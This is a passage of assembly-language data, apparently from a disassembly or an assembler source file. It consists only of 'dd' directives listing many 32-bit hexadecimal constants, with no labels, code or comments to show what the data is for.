94D0AD6Dh, 826C7B02h, 0BA6E62D4h dd 0FB89B9E2h, 59A3F757h, 52EA23BAh, 0FE2FE40Ch, 0B018F338h dd 0E29A0BEBh, 3CC84CD9h, 0E5DE6F0Bh, 0A72D7EF6h, 0C77BB070h dd 4D58C0E6h, 57373BFFh, 7BB35D54h, 6D94EF6Bh, 95B45ED8h dd 9C585B13h, 32DE1A15h, 865A0AECh, 2E3F4C34h, 22572C79h dd 0C344A067h, 9446F267h, 496A7B22h, 895310D5h, 4C17A6F4h dd 8C3B5331h, 0B31E70A1h, 0DA548B98h, 0BB755953h, 0E3C6F6A6h dd 0D750082Bh, 0D18AAC71h, 711FF2CCh, 783763CFh, 852C2FDFh dd 5C7A3B90h, 0BC9E9400h, 55E92F01h, 22E9FE59h, 0A4A0A5CCh dd 0BB083BD0h, 0A334BA7Fh, 31FF97C8h, 0EECF60h, 5E3415A2h dd 169A88BEh, 40B7D669h, 2B78688Fh, 0E6F00B67h, 1490320Fh dd 0ECA76ABCh, 8B375D57h, 0BA1EEA1Bh, 8082AA8Fh, 219B4E83h dd 7F32BB1Ch, 0FCE0730Fh, 0BCBD7386h, 58785F69h, 7DD4235Ah dd 0E68A67A5h, 87BEA2BDh, 894CA5A5h, 24336306h, 9DF60B90h dd 0D57C4DC6h, 0D719F877h, 1B6F23D5h, 0D5A3DAFh, 4B366DA6h dd 32E84B48h, 6D41F593h, 7FC9111Fh, 8343F8D5h, 6A173B0Ch dd 7B5AFCCEh, 0AC5BDFA9h, 0B6952CF4h, 0E76FFB96h, 52EEC866h dd 11A3A130h, 5B57D64Bh, 9CCB3A09h, 2C862BC2h, 94B7C354h dd 3FCB21D6h, 87E4B8D6h, 0E9576C63h, 0CDBE30F1h, 0A0D6D8D5h dd 72357CAEh, 40B7080h, 0B17FD243h, 28500D69h, 785798F2h dd 495E67EDh, 0D1343139h, 4BFD1602h, 53B62960h, 0FB8B2BE7h dd 7C68D29Ah, 68041152h, 6A81B24Ch, 0B2890EE8h, 120C121Ah dd 95B37186h, 2922A1D9h, 8AF51ADDh, 92141C4Fh, 1A946AC2h dd 0D2808B44h, 0FA0E3DB6h, 220334ABh, 0C1046BEFh, 2963D4CFh dd 5F40FDB0h, 3792E1DEh, 0AAF96227h, 7B839366h, 0F0781C20h dd 129624A3h, 0D628164h, 37678156h, 54798B9Bh, 6027156Dh dd 1DCA8139h, 0BBDC905Fh, 6FC08DBBh, 9B58B4A1h, 7AAB45BAh dd 4D6DF1AEh, 0B11740F0h, 240AC6A1h, 5E61E6FAh, 0A1E3DC63h dd 72C26C72h, 4B67BBDFh, 54C5AD6Ch, 1C7E5EE2h, 10F7D114h dd 8428543Dh, 0A1D3A9BDh, 98B2BE14h, 14AA0590h, 8D832E3Bh dd 4148E0DDh, 1AEC6893h, 60DDFF37h, 0A04E8111h, 0DC7DB361h dd 97F2AAFBh, 2443393h, 52CBCFFh, 8B7C23E4h, 0B9A38EB6h dd 3A51073Ah, 0BAB684B7h, 0D673A479h, 592793C5h, 0CDAFE585h dd 74F5F91Dh, 163A35A1h, 5D3430D7h, 6B359CF8h, 2A2DE2Bh dd 0BC62B69Ch, 0E458A809h, 0C27D2DDh, 8EE78C03h, 33930306h dd 0CFAE52C3h, 6FFD17EAh, 0B774F161h, 0A1493526h, 47F9E012h dd 0E53415Fh, 0A2444D40h, 55FD1D85h, 49DA713Fh, 98CCBA77h dd 6D73B779h, 3C83EEBDh, 9B3F5213h, 74E01D01h, 0E14395Ah dd 0FC0063DCh, 411C3396h, 1E193DFh, 395489B5h, 5AB9D990h dd 51B7CD32h, 0E2665CE1h, 4AFE856Ah, 18AA4D6Bh, 0C58CFE7Bh dd 766AD58Fh, 889CA009h, 3EFFA501h, 0D7DEFDB0h, 0CE34F002h dd 0E8AE97A9h, 75958747h, 0C63E4EEAh, 0A6080747h, 0BC390926h dd 4A971C8Ch, 62BC972Ah, 4A9CEB65h, 64465FAFh, 0E44F995Eh dd 41074A4h, 9BE21014h, 0AB3BC3D1h, 43895EB7h, 0CDD9FD55h dd 0EFAFF85Ch, 0D0C1530Bh, 2FF2606Bh, 85E26F1Eh, 12B1AA29h dd 6A787D33h, 0EE30440Bh, 0F8889DC4h, 14A6AAF9h, 22E343C2h dd 8666A6E3h, 8687BCh, 6F633BF6h, 0C9854C57h, 381E38B7h dd 0D13F6BDAh, 2BC30720h dd 8DB16AC8h, 75030A54h, 9F07A861h, 49DACA1Eh, 0ED118869h dd 0AED016D0h, 4EE35F96h, 95C82780h, 61A51CB6h, 0BDDDB2FCh dd 0B32922F7h, 58A2045Ah, 24312E49h, 53D8C2F2h, 0BB639BB1h dd 97B7D5E6h, 0E5E0ADCAh, 0C264391Ah, 79F8A44Fh, 748B4382h dd 0F691BEA9h, 0FE84FF8Ch, 62A7865Fh, 0F02ACD0Ch, 0C5DA3D86h dd 677054C4h, 4B3301B5h, 0F9D6CD2Eh, 45AA61D5h, 77EE0FBEh dd 8C3D478Eh, 45612DD7h, 5F34C08Ah, 2BAB7575h, 594F1C50h dd 0E81B9B88h, 94290F5Bh, 90078C55h, 6E4F8CA6h, 546A8813h dd 0F302C1F1h, 0B3DE8F6h, 0E26B2A89h, 9D373549h, 46780967h dd 928F9513h, 0A5BFD3Ch, 0EF615480h, 65F07617h, 51D9CAECh dd 0C42D6C1h, 0D1D16CD7h, 0D7E6843Ah, 0A3152EB4h, 34C270B0h dd 4C94FBE1h, 3172F37h, 9220E1F0h, 0C6AA2053h, 4C266676h dd 0ACA3AF6h, 9665FDFh, 25C5A383h, 6FEDC431h, 7FA177D3h dd 9489A676h, 6B05A029h, 959DA340h, 0E68F9BA4h, 0D5C82A28h dd 0E8740EF1h, 8B6B0F05h, 0AB487994h, 44F01160h, 680C8558h dd 43B2D921h, 4CDEC640h, 946943E5h, 0C98D0A3Ah, 4D2B83E2h dd 17F13965h, 704DE2A9h, 79AACC34h, 890C0E16h, 0A55F059Fh dd 0E7883F04h, 96AD623Eh, 3EBF455Dh, 0AA98E573h, 0C183C3Dh dd 729320F0h, 121C60D8h, 0BA9C0B3Dh, 0CAD578Dh, 84215F8Eh dd 0A5127BF7h, 3B35A397h, 1B42485Fh, 10A0514Ch, 0DD9BFC6Dh dd 11465671h, 0FFDA5D99h, 393F1946h, 1A7A6144h, 34E250E9h dd 8D098F8h, 0FD8697D8h, 0DDAC84C1h, 46D1B6FBh, 0E33EDA6Ch dd 61FBC977h, 0FE476ABh, 0DA426E9Eh, 15E8FEF0h, 0B18AB9B8h dd 7D3D2EDh, 4D740EAAh, 21950F8Bh, 442B7837h, 4998005Ch dd 0CA240411h, 0AF6FE5A8h, 0F64FADDEh, 5666518Ch, 0E88C6383h dd 32925653h, 96E4D84h, 95E7CE5Ch, 406B5C51h, 1F8ACD85h dd 3813C3BEh, 1AC371B0h, 0A0CBB205h, 1167AA2Ah, 6CB4B54Ah dd 0F681892Eh, 85B47D46h, 39EFD450h, 688146B9h, 0DFCE2223h dd 649CEAE5h, 9E923785h, 0CFEB7A93h, 0E30A4F87h, 3667E007h dd 0FC7B55F2h, 5D9A2716h, 2D90DBA5h, 1CEBE5FBh, 0B067B5EDh dd 41F40B7h, 6349AC7Ah, 625DAE63h, 31899F88h, 899B7D3Dh dd 71B8F038h, 0E6541557h, 0C6988554h, 67CC3E87h, 0EFFD3E3Ah dd 7AF0D5E7h, 0F7E63DADh, 0BCAAD368h, 307E5BD1h, 0E7BEDC2Eh dd 0BAEEA50h, 0B18DC1Dh, 882A0738h, 0A089F8CDh, 0D726D4B7h dd 0A85D1578h, 5999B1E6h, 0B2FA6DDFh, 0FC1851BEh, 0EE50AFB4h dd 528510F4h, 41FC4728h, 1A4F3DEDh, 6F4C60C5h, 0C6F100CDh dd 18CF8C44h, 86D2A2A8h, 5DE9DD76h, 0DF3A4B21h, 0EF1BAE9h dd 99DA956Fh, 6F129F8Ch, 700E81B0h, 6ABB5D7h, 62739DFh dd 42DAFAEh, 26D129Dh, 357004C0h, 0FD80C3CAh, 39CF60DBh dd 5B3E284h, 0F424F4FEh, 0BE3D4339h, 91C56D59h, 0EF36744Bh dd 0AE41932Fh, 7741FCh, 0FA68D70Ah, 9940879h, 0EAD14047h dd 6EDC05C5h, 0A47926D2h, 66273DA4h, 854E390Ch, 71434236h dd 0F3C0698Eh, 0A1636B55h, 0B6AE48EFh, 0AB296571h, 0C9F58840h dd 93BA0ACAh, 9D65AF8Eh, 3557E8ADh, 94101046h, 225447F7h dd 0D3314E9Fh, 0BA987929h, 8B7B5A91h, 0FB5922FFh, 2DD0A4F0h dd 0A753AF66h, 596BBF12h, 0C3392A00h, 326D3BB1h, 0A60C899Dh dd 0CACEB07Ah, 10E8680Fh, 2B1C77E0h, 8FE13E0Eh, 3DF8F068h dd 19B052CDh, 50322E33h, 8C4C725Dh, 0D8758468h, 9A6211DBh dd 0C5FAA058h, 9BBD48Dh, 78FEF466h, 0FDC1DBC9h, 12DAC2EBh dd 6EE8B112h, 107E21DCh, 3224685Ah, 9CA5AE6Fh, 90A0E0EEh dd 22A11756h, 988958D5h, 0E1E111E5h, 19A04EEh, 9CA786DDh dd 6507A36Ah, 7A9325A4h, 45BB04FFh, 0C4DF75A5h, 3613F21Eh dd 44B5AE48h, 52ECF17Fh, 94D654C1h, 0DD934508h, 30AC5AEDh dd 0EE8B1B39h, 0F2F9AF12h, 0E2873148h, 0FFCEACCDh, 0BAF8375Ah dd 0E5006088h, 0B47B0AACh, 5652CD5Ch, 51FCCD83h, 0A66D83C5h dd 790C7F32h, 0B3B95FF4h, 86A4C2A9h, 689FD28Ch, 9B332579h dd 0D6783F6Fh, 319CAEF9h, 3CCF0732h, 0AA34BC1Eh, 1D5A4C5Eh dd 3B996756h, 0AE9DC087h, 4476B6BFh, 0CC63E9FCh, 59A714F1h dd 37791D59h, 0E640A98Dh, 30E27328h, 0F358839Bh, 79921972h dd 46AB128Eh, 97189E4Ah, 32190B81h, 0F4539E71h, 83A4F503h dd 89977BDFh, 0FD92194Eh, 5A02A7ABh, 0BA67ABFh, 0B26D811Bh dd 885C3FCFh, 0D37F9E52h, 0F315014Ah, 5BEED2ADh, 6A62AA9Fh dd 771EE5BDh, 283DD68Fh, 0ABA1C5B7h, 20217816h, 37B23AAEh dd 16187B46h, 0BA41A755h, 0DB1AC997h, 3541BF1Ah, 595ADCC9h dd 984D3742h, 3376487h, 253B01D8h, 96B78DBEh, 0AD946C90h dd 0D183A899h, 6583752Ch, 312326DAh, 61D03022h, 9D268507h dd 42ABB99h, 0B2E1CA23h, 84A51FCBh, 0A4DBED83h, 3FF5D39Ch dd 1B841CDFh, 0B1C984B5h, 0E2AF8872h, 0B317250h, 0C75F888Ch dd 9DE03FA4h, 94270DAAh, 30897A52h, 3857A3Eh, 716D9ECCh dd 0B5902225h, 5BFDA9B1h, 1E824756h, 0DEC20195h, 0F4EFA34Ah dd 223CC0BFh, 0CC72ADEh, 0C4B09035h, 8332E717h, 0DFA361B0h dd 4CF86482h, 692E972Fh, 887DC4B6h, 0ECE6217Ah, 66BC34D7h dd 65E444D5h, 0A6F5B1F0h, 4234B31h, 64F7BB3Ch, 5E8BEF35h dd 8845906Eh, 630333B3h, 364CE4B4h, 0F09088B1h, 0CA47B8E7h dd 0B1F75537h, 0E7880D6Ah, 7118E442h, 0CF05374h, 6381C91h dd 48DA5128h, 0AA097952h, 771E1495h, 57735225h, 3D67A226h dd 0EFAF4BB7h, 318BDA4Fh, 6EBDDD40h, 1E16AFC1h, 15F444D6h dd 0E99B52ABh, 31782420h, 1439A6A1h, 7E9320FAh, 0C26BAC5Eh dd 7389D4FCh, 0AD3AEC3Ch, 0A115C159h, 308CF06Ah, 0C4965364h dd 80767F85h, 0EA24D655h, 63930B9Eh, 0F8E6BB7Eh, 618D7BD0h dd 651A84F4h, 0F8079C8Eh, 175E3BBAh, 5013A25Ch, 965AA38Eh dd 57848FB3h, 38A2B26Dh, 3DCDCFE8h, 52C02B53h, 8C9BA245h dd 1A5A1093h, 3CCD34C7h, 1F4D4B7Bh, 254C7CAEh, 0D37F5728h dd 3234675Eh, 0E7B8303Ah, 7DC59A4Dh, 4590CED3h, 0D190DEEAh dd 647263FCh, 866A8629h, 82C1973Ch, 1668E100h, 696D0036h dd 31CD5038h, 85CF8BE1h, 0C6AEC443h, 5A1CC63Bh, 73EF4E4h dd 809FBABCh, 8035BDFAh, 31742728h, 1D13C0FFh, 0C95ED788h dd 827A7294h, 0F9C4D28h, 23EF16B0h, 969142A2h, 6B5DCC55h dd 2F8E69D5h, 272C425Fh, 0FE5F5496h, 0AAAF4D31h, 98488CC9h dd 0E457C57Ah, 58BE4C47h, 949188F8h, 0CACAB4DDh, 1133B99h dd 7E0E4003h, 0F7436F3h, 0EB5122CDh, 86693B3Ah, 27A49D93h dd 911D3D9Ah, 0EEDE0911h, 0B4DBAC6Ah, 285B4FE5h, 35FBCEE5h dd 7306FC3h, 0F59DCBFEh, 0EE8084Eh, 40B5725Eh, 3A3606ECh dd 0E45D8130h, 24BC3774h, 39303175h, 0A49BD014h, 8629C6CDh dd 3FE8F494h, 7C3BD917h, 3E67A94Fh, 0DD33E5FEh, 4AC186C5h dd 0D2EBDE4Dh, 6DB8C4h, 0E39BAB71h, 74F32F72h, 5DC1026Ah dd 9FB0C79Bh, 0C3BEFD48h, 6487161Ch, 8EECBFB1h, 82AD02EFh dd 0FCB7F35Fh, 919F36D9h, 0F3674A82h, 0AEF3FE24h, 86589EF7h dd 780F74D1h, 9B3E5927h, 42921C21h, 7F2817E4h, 0FFA08A32h dd 0A2224680h, 232C3097h, 8BBAA8DFh, 531D0D7Dh, 9A026FA4h dd 6214352Dh, 0E38053B2h, 44EB3128h, 0A5CF8C31h, 0D3BD9EDCh dd 0C9A1667Bh, 31AA6FB1h, 6E893A59h, 0D279BC25h, 0AA6261A5h dd 0D40B25C6h, 596A92BDh dd 40D723C2h, 7686131Ah, 50EBA91h, 57035CBFh, 8CB6ABADh dd 29D34560h, 3A9C03B0h, 9D61DA47h, 0BF2D89FAh, 171D9EB3h dd 999D3D52h, 0ADBE89BEh, 896A7813h, 6B312292h, 8DE6420h dd 2E1CCEE7h, 417D1E60h, 0D351EC26h, 44E6CB0Ah, 50393874h dd 40E5E632h, 735F34Bh, 43273F65h, 51D0CF02h, 51810520h dd 5E78D04Bh, 0F99858DCh, 5DE3B295h, 2387DA3Dh, 0A7880818h dd 9BA62B31h, 85A53B61h, 6A379FAEh, 8EB7D37Dh, 89801A54h dd 0D52BC16Eh, 0F2892A6Dh, 8D09C0EEh, 0F16D39DBh, 6E811FAh dd 0CB54DB13h, 8A20C8B3h, 7A70E973h, 0B9D74D9Fh, 90F84BD3h dd 0AD799B5Ch, 0CF81BA1h, 0A42EC3F1h, 0A3487BDh, 4040CD40h dd 61D1AA02h, 0FFC5146Bh, 785EED2Dh, 0EE45C00Eh, 5E51A002h dd 0DF53950Ch, 6BEC037Fh, 245E6D48h, 0B9B2865Bh, 0FA806A4Fh dd 420159BBh, 17E14669h, 83418B09h, 5950055Bh, 42519E68h dd 0EAE9A787h, 0D7FD0372h, 0D4FD036Ch, 43C0DC01h, 4F1E7655h dd 0EFC1303Eh, 0C47E94FBh, 0BE3A9EE3h, 5FBC51ADh, 0B2FBB539h dd 0CD1567C0h, 56EF17E9h, 4CA7D6Fh, 0BD791188h, 913727CBh dd 576DDF3h, 0ACB9312Dh, 29202D4Ah, 0F07A16E7h, 0F644E09Eh dd 0BF06F5E5h, 7C521477h, 11297F2Eh, 686378C3h, 2C26B579h dd 0FFCF8CBBh, 9327FED0h, 39B33770h, 0F86B280Ch, 21C2212h dd 6D08A0DBh, 1069A962h, 9A06B51Ch, 687ABDFCh, 8849831Dh dd 0FA539F69h, 0ECC71F2Eh, 2857A412h, 0FC1C107Ch, 0AFBEA93Bh dd 780AEF75h, 8315C8E3h, 2C9B3D16h, 0DA7BFCDBh, 48210FBh dd 7C5BB5C8h, 88DB08EFh, 4106F8B2h, 0FE2EF672h, 71FAAF94h dd 0CE570242h, 0F2EE75FFh, 53C35F01h, 29CC0F4Dh, 0CC36F448h dd 12268F34h, 73F3E6F2h, 304342A9h, 0CE889C59h, 0D0A52394h dd 0EBDBF904h, 48EC8513h, 6083D076h, 0D0610F8Fh, 12759039h dd 463F67BAh, 0C36F6BBFh, 2A1CBE15h, 4B390961h, 0E57A05CCh dd 7C890C8Fh, 5D9A90ADh, 7D9C495Bh, 0BF83AF3Bh, 8DEFACB4h dd 0B24CDA59h, 15BBBEBDh, 8718EA3Ah, 4C0439A1h, 7A970CA0h dd 9508CF8Bh, 57065E21h, 9FA498ACh, 0E60AFD03h, 899C9269h dd 173BC8E9h, 3FAF9209h, 160AF48h, 0C221DBB4h, 0AA11A5D4h dd 45416A7Eh, 8E7D3E1h, 0F03C663Dh, 2162BDE1h, 0B0930401h dd 356BC5B3h, 5750B617h, 5310E6A5h, 661F33C1h, 4955C939h dd 60CD8065h, 39344B3Fh, 2D5B04Ch, 24231621h, 0D71D27FBh dd 5831C09Dh, 0E6D384BFh, 3A35A5BDh, 9766142Bh, 46CE1AACh dd 704D726Bh, 6F5847A4h, 92812C79h, 0C2A7E7Fh, 0BFB31598h dd 5D60FC2Dh, 9241427h, 0FE260562h, 0FA551900h, 0D0F55E61h dd 0D135560Bh, 506C61C3h, 0C394627Eh, 2297E88Ch, 2745F038h dd 0A5B8004Bh, 51FDA683h, 8ECE1BE6h, 0D76DA803h, 0FCAEB0D4h dd 0C0284D0h, 0B1BFA1AAh, 0D40BCA3Bh, 2BD35A51h, 2FADCF4h dd 83BC278Bh, 268DCB28h, 0CCF13520h, 37B0B62Dh, 0F445B93Eh dd 99351632h, 43F240B7h, 75E8AACBh, 4EA0F1D7h, 7F177FCBh dd 0FF91BC57h, 8100E13Ah, 6D557A58h, 0F1CEBF56h, 1AC406DCh dd 0EBA544Eh, 2478624Bh, 85B71EC7h, 4AFABB1Ah, 472391A5h dd 0A32BA225h, 9D876Eh, 7E120DDDh, 2B78033Dh, 0D620C48Bh dd 0B83BE819h, 0E4C3C8B4h, 0FA82C2B0h, 55D3B83Bh, 0EE03D5F1h dd 95897D44h, 5760F8EBh, 0EDF89C5Dh, 715CB2F6h, 72EB77FFh dd 0D766A68Fh, 7C4AF6B1h, 0FD7E6EC5h, 1E10CE94h, 57AB56A1h dd 0D776149Fh, 0EA5ADFE0h, 0E41A223Ch, 0E4A418DDh, 88086C0h dd 64625AFDh, 0C70BF768h, 3ED5486Dh, 78EA67A3h, 8547CA9Bh dd 9062A6B2h, 0BE751561h, 25F3BDAAh, 8E4188C8h, 2958D884h dd 4585B63Eh, 58608115h, 7F2E7ACEh, 0F8B1D2A1h, 7776040Dh dd 0FCEB7765h, 0A091E875h, 0E88D8CF4h, 0C54DC54Ch, 2073248Dh dd 38694C8Fh, 7FF1CCD3h, 8CB535A9h, 2EC4F1FCh, 5320723Fh dd 6E7103h, 2FD46A32h, 53D5E101h, 308DCFC8h, 78BA05Eh dd 0FD4C8C18h, 0E6DCC610h, 5C0D28CFh, 2D042405h, 25CE50FDh dd 0AD7A977h, 8CADA39Dh, 0E9F263FBh, 63215E88h, 5676E0Ah dd 3E657485h, 10B92CC8h, 7077693Ah, 11D562E3h, 0FD64A22Ah dd 46148CFEh, 83416F12h, 4D5D5ADDh, 0CD0A9C1Dh, 0ED2F4AF9h dd 7951AB58h, 0AE30575Ch, 132D1CD7h, 778136Fh, 7B6C4E09h dd 9EEABD81h, 1A695C6Ah, 671341F5h, 54CB843Ah, 0CAA2CF2Dh dd 7C87ED40h, 79423B24h, 1C823497h, 95531887h, 22D9EE8Ah dd 61A7255Ch, 0D9D8022Fh, 0B7FB6611h, 69B3A887h, 0EFF5ADD8h dd 0D56D5DB6h, 20DE25B1h, 2724584Ah, 0D5845C43h, 21A440F9h dd 5A90A5F9h, 40E2E716h, 317C73BCh, 2F239341h, 249C4047h dd 4BC5469h, 2771328Ch, 22D4CFF2h, 0DA6FA5A5h, 0FE25EBA2h dd 0EB1EF4E2h, 0F9B6ACF3h, 9DCCB6CEh, 1938438Ah, 783F7BE5h dd 0B657EE34h, 9267B4DFh, 4CC2F7A7h, 50A851C9h, 417CA467h dd 6F1EEBAEh, 277A6288h, 0C3490051h, 3440B9BFh, 8401C122h dd 0FC192706h, 758CAE5Eh, 4F0F3A7Dh, 96B01CB6h, 95838BE3h dd 9DB0BBF5h, 28C6FB20h, 90DC9877h, 0E0C5EB14h, 0F10D0210h dd 5E7C23E5h, 660435E6h, 0FACD5EAEh, 0DAF08879h, 0D8C7FE49h dd 29DB97AEh, 753EE72Ah, 0C7AAF29Dh, 59A2CE0Ch, 80A468BCh dd 0AE28030Ch, 6C91547Ch, 482C5656h, 0E1075C56h, 0A17E6D3Bh dd 76792579h, 6B74F6DDh, 722037A8h, 0B584A0B9h, 0D7F05370h dd 21A5313Dh, 5870C915h, 0C4380218h, 9FBAF325h, 0D324B9C8h dd 297E2F60h, 0CEC8AEABh, 15E41BCAh, 1D8E8520h, 64FA3454h dd 15EF064Bh, 0E48C6DCFh, 0D866BD93h, 0D333F944h, 3E721FD0h dd 1A9ED712h, 0C7CBEEFCh, 99A356F8h, 0F6D54E35h, 12EA31E6h dd 0AD6E0896h, 6E7072D5h, 32B873E1h, 48D97278h, 0A978E570h dd 0F7EC36FBh, 88BD1791h, 679684C8h, 624F20ADh, 47729BC6h dd 0FDE10A49h, 0CB54D7E3h, 85579657h, 0CA00F975h, 75CDCA5Ch dd 0A9FFE1B0h, 93B3D25Eh, 0E2941039h, 686A02B6h, 9639DD0Eh dd 0D35C53B2h, 37B6B435h, 0E512A2CCh, 0F8C710D4h, 0A2CDEF0Bh dd 5A21F3F3h, 68F22319h, 78DFA376h, 4A0B4916h, 1311AA27h dd 1C4E9998h, 277EAE69h, 2454D5D2h, 0F0F737DFh, 0C23D8AEDh dd 8934F0DFh, 0A7135B41h, 569CCBDAh, 1BD96854h, 8E195D7Bh dd 57788AC4h, 0C14C806Ch, 0CEE1A444h, 7D595A86h, 79F3622h dd 0F82AAA02h, 0FF978CA1h, 526914C5h, 0CD6FE0D6h, 0DAA6600Ah dd 0D96E75E5h, 0CD968A60h, 6C6E5159h, 525EB0ABh, 63F7EDEh dd 0DBEC8984h, 0FAB66D11h, 0D06DF4BFh, 0C30CD4h, 4BF9A845h dd 4D4A6814h, 84E60BADh, 4DD6AC7Fh, 0DE8CAE6Ah, 0A1645FE2h dd 0C79EDB9Ah, 0A3AEA489h, 0CCFCCBD4h, 6726ABC8h, 171A445Dh dd 2BE5E84Bh, 9C61A3Ah, 93468393h, 0CA0FDA69h, 5693CD31h dd 5F369730h, 5F5A6C29h, 878C688Fh, 5FA51E79h, 0C155E225h dd 0CDC207C6h, 3A4B7907h, 3A45EFD9h, 0B148104Bh, 9E381E30h dd 0F97A875Ah, 0C9B4000Ch, 2B087B5h, 47482A62h, 6572FB4h dd 9971EFEh, 14D9ACC7h, 36C25052h, 290701C7h, 0F6A80EEDh dd 48D2528Dh, 0E911EE38h, 1261B71Ch, 1A4A06FAh, 5D12508Eh dd 0C83BEDFh, 0FDBECB1Ah, 573DE2A3h, 3A49D2C1h, 6E3A5Dh dd 0B6D91D83h, 58FF14A1h, 346EF517h, 29D840F6h, 22C9DE70h dd 92268F73h, 77DBDE6Eh, 0E1B67276h, 0C95D5039h, 0C8E9D096h dd 0F84D0BD4h, 0C6E13994h dd 9B491225h, 3B937C1Ch, 12404D4h, 0E8CD54F3h, 278061D1h dd 961E464Eh, 88FB7D57h, 0CA5F9FCAh, 1D815647h, 0CAD02180h dd 285E6A2Ch, 744065C1h, 0EBEB301Eh, 0FA0A8F21h, 69CC2646h dd 808834FFh, 0E645582Eh, 6A901734h, 231387DDh, 54C30EA8h dd 4E018EB2h, 0F551C73Dh, 3176CAC0h, 7BE16B26h, 8B8F9B97h dd 0E8A4F9C5h, 4E721371h, 957CCCB1h, 0E01D11B3h, 0A2CB5DB6h dd 0A49F1D83h, 327515A2h, 627864F5h, 0C02A2222h, 20BE0A4Ah dd 2FF5638Ch, 0C02B77EAh, 86491A2Ah, 0B2813770h, 0BC44E464h dd 2A6FD700h, 87A6D49Ch, 9EEF1FD3h, 271AE2FEh, 140890A3h dd 0C2AC1DBBh, 0EE9A10B1h, 61C66A38h, 2916851Fh, 39525905h dd 54F0116Bh, 6B360B9Bh, 16AD051Fh, 0F1871E22h, 746B721Fh dd 0C294366h, 0E1E05F40h, 0C79C33BFh, 3FA235E3h, 9FDB1CB8h dd 95B67A1Bh, 6C4DDEEAh, 7F5ED91Bh, 0D79E317Ah, 0B25B84BDh dd 0E0A28711h, 0AA4157A6h, 7AB7174Fh, 946E5305h, 3B984A61h dd 1B2B09C9h, 1E22817Eh, 86D90861h, 7DF1B9FBh, 0FD9ECE1Ch dd 796AB429h, 93E9D9B2h, 0D8078E54h, 18780B70h, 77D862EFh dd 17339C29h, 1F4229C8h, 0B61AAD9Bh, 16954277h, 9A84E17h dd 0D4CAEF1Bh, 0D461A369h, 0A477550Eh, 9A377B60h, 0F99DA86Ch dd 5AE9C45Ah, 429A2126h, 0E10C5D46h, 5F4B4181h, 414B158Bh dd 0AF75632Eh, 50C7F7BFh, 64A526C9h, 1084F1CCh, 86606DECh dd 43EFD38Ch, 0AF013025h, 0DBF12184h, 633BC622h, 71A20927h dd 0E038B215h, 0FEAE0C1Bh, 0BDAE9DB6h, 11FDD073h, 0F33A502Bh dd 1B516583h, 0AC36CD5Ch, 0ABFF2713h, 49C1D7B4h, 0C4A62F19h dd 665E09EEh, 54847081h, 5B61B8A6h, 39989E96h, 1F2ED5C7h dd 312582F6h, 0F2DFE992h, 0CD75640Fh, 833ABECFh, 0D34AA28Eh dd 97D52E1Eh, 31E6D9E8h, 0DAF58842h, 0FAA2683Dh, 224E4ACDh dd 0F53B6043h, 2E7EAFFEh, 0CF99EFC5h, 64E9A246h, 0C53E102Ch dd 0BEF0C87h, 0DE547902h, 339AD5C1h, 122F905h, 0D4C18BA9h dd 9DE5667Dh, 964AD6CEh, 43B39CBAh, 96B6FA9Ah, 0E4589423h dd 12AF3E1Bh, 0F2EBADEFh, 0E7BDBFADh, 0CD07FD05h, 0FC1D69E1h dd 47410EDCh, 90E2A6A5h, 0F0D7E1FCh, 0E66799F6h, 0B05A52B5h dd 62A3DBEh, 4C204371h, 0B1DFE312h, 0FA09AC64h, 665D4F7Fh dd 0BFF5BB68h, 87181ED0h, 0D2DC4182h, 86F2305Bh, 0F244344Ah dd 6F8828AEh, 0DEF3B825h, 970FF132h, 741F9AF0h, 0AE5F9057h dd 0E46DFF1Ah, 54E4345Eh, 0DF440E0Bh, 5030A1FDh, 443A94B4h dd 4BF1C8DBh, 94C0DBB9h, 47F2569h, 9ED9F5Bh, 9E6214E4h dd 4510B2FAh, 0ED54D791h, 27D975ACh, 656B90EDh, 2345E1ABh dd 60A655BAh, 281C30D9h, 50B94AB4h, 7BBFB045h, 1A6791A2h dd 2AC925C2h, 126E2631h, 0D0C3C744h, 43AD2CB3h, 0DEF42F53h dd 0C2AD3AD5h, 93E06FADh, 0D340BD8Eh, 0BE198A8Fh, 698F50C9h dd 56E2FA75h, 2D1358D9h, 1281529h, 5432D27Bh, 0DF6F0C54h dd 2E1B6D8Ch, 29F3D37Ah, 0A113E742h, 0E6FFD0D3h, 30AE8F9h dd 2B2CE578h, 337A52Ah, 7142AAE6h, 5F8DE56h, 2320CDE5h dd 9432CB2Dh, 90BD3285h, 4811A00Ch, 0F7425706h, 0F7B4B611h dd 2CF1FF1Bh, 0FBAAFEF5h, 6EA7678Dh, 54ACBAA9h, 371C53E8h dd 12626FC2h, 7C70FD88h, 2D800178h, 1D37CA5Eh, 58540EAEh dd 82101FC4h, 31D468C1h, 0C2632AF0h, 0BD045134h, 70BC7020h dd 628DD3ACh, 290FFFBAh, 2F09D5CBh, 336C7B03h, 0FEBB4996h dd 2A2817FCh, 65E361BBh, 0BD36A637h, 24665556h, 0B88D8384h dd 8E9687AAh, 4794362Fh, 20D93D95h, 6B98F214h, 8BBD255Dh dd 9F8F3C9Ch, 0ADBAD602h, 4CED5340h, 815B6020h, 1CA0A0D8h dd 0A50575D7h, 5C4AD21Bh, 17894D3Eh, 9F1AB586h, 5BD69C16h dd 0E93EB44Fh, 34F09A90h, 0C794355h, 9DDF0827h, 80A36C8Eh dd 0C0CD4836h, 7CF8F61Ch, 14939FDCh, 287B807Fh, 4352A0FDh dd 427FFD74h, 6860CF77h, 470ECD42h, 5D2F486Ah, 1B0A6342h dd 804AA94Bh, 0C9F2054h, 0FC045DC1h, 0EC1AB922h, 29C81599h dd 18480948h, 3A5C239Ch, 79EDA161h, 0AC3807BCh, 0EF5F8245h dd 5D510410h, 70699E96h, 8B615674h, 3F761834h, 0E3F53E62h dd 0EB146058h, 74AC89F2h, 159C08Ah, 1F7DC51Ah, 0ECA7EF66h dd 2F72CEB1h, 98F6B547h, 0B01F2107h, 970A14F6h, 4735C522h dd 0F850EBB4h, 0F0A63821h, 74A79AC9h, 358AD380h, 0EBCFFB44h dd 0E29DA309h, 11ADC1D4h, 56CDDF44h, 0F408C3CFh, 0BAA1A209h dd 0A0A31DEEh, 0F42F548Bh, 0DD9BA6FEh, 0CFA65584h, 0F77C940Fh dd 8781E802h, 46F98106h, 7530BBC8h, 40FD8DCh, 0DD80FD35h dd 1F5CD949h, 0B19BCF61h, 7C083C54h, 0C427CCC0h, 0CB61D1BFh dd 4C848F52h, 53A859Ah, 0A6F49B5h, 0F7DF18F5h, 0E098E75Bh dd 6EC097B9h, 0CA74409Fh, 0ED698329h, 0B4913C9Eh, 183879CBh dd 9D87B8Ch, 0AD4E6E4Dh, 0E7C04669h, 